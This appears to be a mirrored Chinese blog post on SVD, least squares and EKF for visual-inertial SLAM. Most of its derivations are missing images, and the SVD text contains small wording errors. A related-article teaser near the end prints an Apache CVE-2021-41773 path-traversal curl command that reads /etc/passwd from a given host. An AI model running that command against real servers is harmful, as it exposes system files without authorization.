【LVIO-SLAM】SVD分解,最小二乘与EKF

news2024/9/24 1:02:16

【LVIO-SLAM】SVD分解与应用推导

    • 1.1 线性最小而二乘
    • 1.2 SVD分解算法流程
      • 问题描述
      • 算法流程
      • 算法复杂度
      • 总结
    • 1.3 非线性最小二乘
    • 1.4 EKF融合 KF/ EKF推导过程

1.1 线性最小而二乘

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
针对A是任意矩阵的话使用SVD分解求解,其中U是AA转置的特征值,V是AA转置A的特征值,照S中最小奇异值对应的V的右奇异向量几位所求。

在这里插入图片描述
在这里插入图片描述

1.2 SVD分解算法流程

奇异值分解(SVD, Singular Value Decomposition)是一种广泛用于矩阵分解的算法,它将一个矩阵分解为三个矩阵的乘积。这在许多领域中有广泛应用,包括信号处理、图像压缩、数据降维等。SVD的核心思想是将原始矩阵表示为一组正交基向量的线性组合。以下是SVD分解的算法流程:

问题描述

对于任意一个矩阵 A ∈ R m × n A \in \mathbb{R}^{m \times n} ARm×n,SVD将其分解为: A = U Σ V T A = U \Sigma V^T A=UΣVT
其中:

  • U ∈ R m × m U \in \mathbb{R}^{m \times m} URm×m是一个正交矩阵,包含了 A 的左奇异向量。
  • Σ ∈ R m × n \Sigma \in \mathbb{R}^{m \times n} ΣRm×n是一个对角矩阵,对角元素是 A 的奇异值(奇异值是非负实数,按从大到小排列)。
  • V T ∈ R n × n V^T \in \mathbb{R}^{n \times n} VTRn×n是 A $$ 的右奇异向量的转置矩阵。

算法流程

  1. 计算 A T A A^T A ATA A A T A A^T AAT

    • A T A ∈ R n × n A^T A \in \mathbb{R}^{n \times n} ATARn×n 是一个对称矩阵,它的特征值为非负实数,特征向量对应的是矩阵 ( V ) 的列向量。
    • A A T ∈ R m × m A A^T \in \mathbb{R}^{m \times m} AATRm×m 同样是对称矩阵,它的特征值也为非负实数,特征向量对应的是矩阵 ( U ) 的列向量。
  2. 计算 ( A^T A ) 的特征值和特征向量

    • 通过标准的特征值分解方法,对 A T A A^T A ATA 进行分解:
      A T A = V Λ V T A^T A = V \Lambda V^T ATA=VΛVT
      其中 Λ \Lambda Λ A T A A^T A ATA 的特征值矩阵, V V V 是其特征向量矩阵。注意,这些特征值是 A A A 的奇异值的平方,即 Σ 2 \Sigma^2 Σ2
  3. 计算 A A T A A^T AAT 的特征值和特征向量

    • 类似地,对 A A T A A^T AAT 进行特征值分解:
      A A T = U Λ U T A A^T = U \Lambda U^T AAT=UΛUT
      其中 ( U ) 是 A A T A A^T AAT 的特征向量矩阵。
  4. 构造奇异值矩阵 Σ \Sigma Σ

    • A T A A^T A ATA的非零特征值取平方根,构造奇异值矩阵 Σ \Sigma Σ Σ \Sigma Σ 是一个 m × n m \times n m×n 的对角矩阵,其中对角元素是奇异值,按降序排列。
  5. 验证正交性

    • 确保U 和 V 是正交矩阵,即 U T U = I m U^T U = I_m UTU=Im V T V = I n V^T V = I_n VTV=In
  6. 计算最终分解

    • 将矩阵 A 分解为 A = U Σ V T A = U \Sigma V^T A=UΣVT,其中 U 和 V 是分别来自 A A T A A^T AAT A T A A^T A ATA 的特征向量矩阵, Σ \Sigma Σ 是奇异值矩阵。

算法复杂度

SVD 的计算复杂度为 O ( m n 2 ) O(mn^2) O(mn2),这使得它在处理大规模矩阵时比较耗时。然而,SVD 在数值稳定性和精度上具有很好的表现,尤其适用于一些高维数据分析和降维场景。

总结

奇异值分解的算法过程主要分为:

  1. 计算 A T A A^T A ATA A A T A A^T AAT的特征值和特征向量。
  2. 构造奇异值矩阵 ( \Sigma )。
  3. 将矩阵 ( A ) 分解为 U Σ V T U \Sigma V^T UΣVT

SVD算法的应用非常广泛,例如PCA(主成分分析)、图像压缩等场景中,都是基于SVD的思想。

1.3 非线性最小二乘

在这里插入图片描述
在这里插入图片描述

1.4 EKF融合 KF/ EKF推导过程

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2158940.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

iPhone 16 还剩一个月,微软开源新技术让手机以 6 倍速度提前跑上大模型

作者 | 微软亚洲研究院 责编 | 王启隆 出品 | AI 科技大本营(ID:rgznai100) 随着人工智能技术的飞速发展,将大语言模型(LLMs)部署到边缘设备上已成为当前 AI 领域的一个热门趋势。这一趋势不仅体现在微软 Windows 11 AI PC 等产品…

DFN:Data Filtering Networks

论文:https://arxiv.org/abs/2309.17425 代码:Data Filtering Networks | Papers With Code 阿里最近又开源了视觉多模态模型 Qwen2-VL,视觉编码器升级了,所以抓紧补一下DFN Qwen1-VL视觉编码器:OpenClip 的 ViT-bigG-14Qwen2-VL视觉编码器:DFN 的 ViT本文重点: 1:用…

选择排序(C语言实现)

目录 1.基本思想 2.代码实现 代码思路 代码实现 代码测试 3.复杂度分析 1)时间复杂度 2)空间复杂度 4.特性总结 1.基本思想 选择排序是一种简单直观的比较排序算法。该算法的基本思想是在每一轮中选出当前未排序部分的最小(或最大&a…

通义千问模型升级:2.5正式上线的使用体验

个人对比各AI大模型的使用体会 正在用的国内的AI大模型主要有“通义千问”、“文心一言”、“讯飞星火”,还有国外的"ChatGPT"和"Copilot",我觉得"通义千问"进步神速,因此现在我最常使用的就是"通义千问&…

【C++】C++11-新的类功能和可变参数模板

1、新的类功能 1.1 默认成员函数 原来C类中,有6个默认成员函数: 构造函数、析构函数、拷贝构造函数、赋值运算符重载、取地址重载、const取地址重载 C11增加了两个:移动构造函数、移动赋值运算符重载 自己实现这两个函数在上一篇文章中已…

Shelly实测天工的音乐创作功能,写了一首歌,来听听效果

​ 大家好,我是Shelly,一个专注于输出AI工具和科技前沿内容的AI应用教练,体验过300款以上的AI应用工具。关注科技及大模型领域对社会的影响10年。关注我一起驾驭AI工具,拥抱AI时代的到来。 在数字时代的洪流中,我始终…

16、斑马设备的ppocer-4进行文字识别,和opencv-mobile中文显示

基本思想:手上有个斑马设备,是客户的,简单记录一下开发过程和工程项目,同时记录跟着android小哥学习了很多anroid的知识,转ppocr-4参考之前的ppocr-3转换即可,整个框架仍然使用c++ ncnn jni框架推理和现实,图像库使用opencv-mobile 一、首先转paddle-cor-4 到ncnn的框架…

计算机复试相关问题

泰勒展开式 泰勒展开的目的是用多项式拟合一般函数。 拟合方法:保证多项式与原函数在x0处0到∞阶导都相同。 泊松分布 博客详解推导过程:概率论–泊松分布 IPv4和IPv6 IP 协议(Internet Protocol)是网络层的核心协议&#xf…

简单的spring缓存 Cacheable学习

简单的spring缓存 Cacheable学习 1.需求 项目中有很多的方法查询的数据其实是不会经常变的,但是其整体的查询sql以及调用第三方数据获取数据花费的时间很长,现在考虑对此类型的接口进行优化,首先想到的是对其进行缓存操作,所以简…

【数据结构与算法】十大经典排序算法深度解析:冒泡排序、选择排序、插入排序、归并排序、快速排序、希尔排序、堆排序、计数排序、桶排序、基数排序

💓 博客主页:倔强的石头的CSDN主页 📝Gitee主页:倔强的石头的gitee主页 ⏩ 文章专栏:《数据结构与算法》 期待您的关注 ​ 目录 引言 一、排序算法概述 排序算法简介 排序算法的分类 性能指标 二、十大排序算法…

小新 Pro13 + windows 11 家庭中文版(网络适配器及地址配置)

网络适配器位置及地址配置 网络适配器简介 计算机系统:网络适配器详解,全面剖析 网络适配器位置 不同于win11之前的版本,win11的网络适配器的位置如下: 1、右键 右下角的网络图标-》网络和internet设置-》高级网络设置-》可以…

Apache CVE-2021-41773 漏洞复现

1.打开环境 docker pull blueteamsteve/cve-2021-41773:no-cgid docker run -d -p 8080:80 97308de4753d 2.访问靶场 3.使用poc curl http://47.121.191.208:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd 4.工具验证

颍川陈氏——平民崛起的典范

园子说颍川 广州有一处老建筑“陈家祠”,豪华精美堪比皇宫,誉为“岭南建筑艺术明珠”、“新世纪羊城八景”之一,是全国文保单位,4A 级景区。主体建筑以中轴线三座厅堂为中心,由大小十九座单体建筑组成,占地…

通信工程学习:什么是VM虚拟机

VM:虚拟机 VM虚拟机(Virtual Machine)是一种通过软件模拟的计算机系统,它能够在物理计算机上模拟并运行多个独立的虚拟计算机系统。以下是关于VM虚拟机的详细解释: 一、VM虚拟机的定义与原理 定义: VM虚拟…

认知杂谈77《简单:通往高手的技巧》

内容摘要:          在信息爆炸、关系复杂的时代,简单是复杂背后的真谛。简单如“112”,是智慧的朴素呈现。简单有强大力量,像清泉般纯净,如“我爱你”简单却有力,基础财务知识也体现其在理财中的作…

鸿蒙开发(NEXT/API 12)【基础功能(使用剪贴板进行复制粘贴)】剪贴板服务

场景介绍 [剪贴板]为开发者提供数据的复制粘贴能力。 当需要使用复制粘贴等功能时&#xff0c;例如&#xff1a;复制文字内容到备忘录中粘贴&#xff0c;复制图库照片到文件管理粘贴&#xff0c;就可以通过剪贴板来完成。 约束限制 剪贴板内容大小<128MB。为保证剪贴板数…

拓维思注册机Tovos PowerLine4.0.19树障分析 Tovos SmartPlan2.0.0航线规划软件

Tovos PowerLine是功能强大的输电线路智能巡检系统&#xff01;这是一个专业且智能的软件&#xff0c;能够更准确的进行巡检和对线路设备进行精确的测量&#xff0c;通过获取高精度的点云来获取精准的三维路线的地形地貌、设备设施、途径的各种物体等来精确您的三维空间信息和三…

PostgreSQL的学习心得和知识总结(一百五十一)|[performance] PostgreSQL列对齐

目录结构 注&#xff1a;提前言明 本文借鉴了以下博主、书籍或网站的内容&#xff0c;其列表如下&#xff1a; 1、参考书籍&#xff1a;《PostgreSQL数据库内核分析》 2、参考书籍&#xff1a;《数据库事务处理的艺术&#xff1a;事务管理与并发控制》 3、PostgreSQL数据库仓库…

828华为云征文|华为云Flexus云服务器X实例部署Xnote笔记应用

828华为云征文&#xff5c;华为云Flexus云服务器X实例部署Xnote笔记应用 前言一、Flexus云服务器X实例介绍1.1 Flexus云服务器X实例简介1.2 Flexus云服务器X实例特点1.3 Flexus云服务器X实例使用场景 二、Note Mark 介绍2.1 Xnote简介2.2 Xnote特点2.3 主要使用场景 三、本次实…

2024 硬盘格式恢复软件大盘点:功能、特点与适用场景

在当今社会设计师们依赖硬盘存储海量的创意素材&#xff0c;而学生群体则借助硬盘来管理繁重的作业与数据&#xff0c;这已成为一种普遍现象。在数据迁移或整理过程中&#xff0c;我们可能会选择格式化硬盘以获取一个干净的新空间。如果操作不当硬盘格式化后能恢复数据吗&#…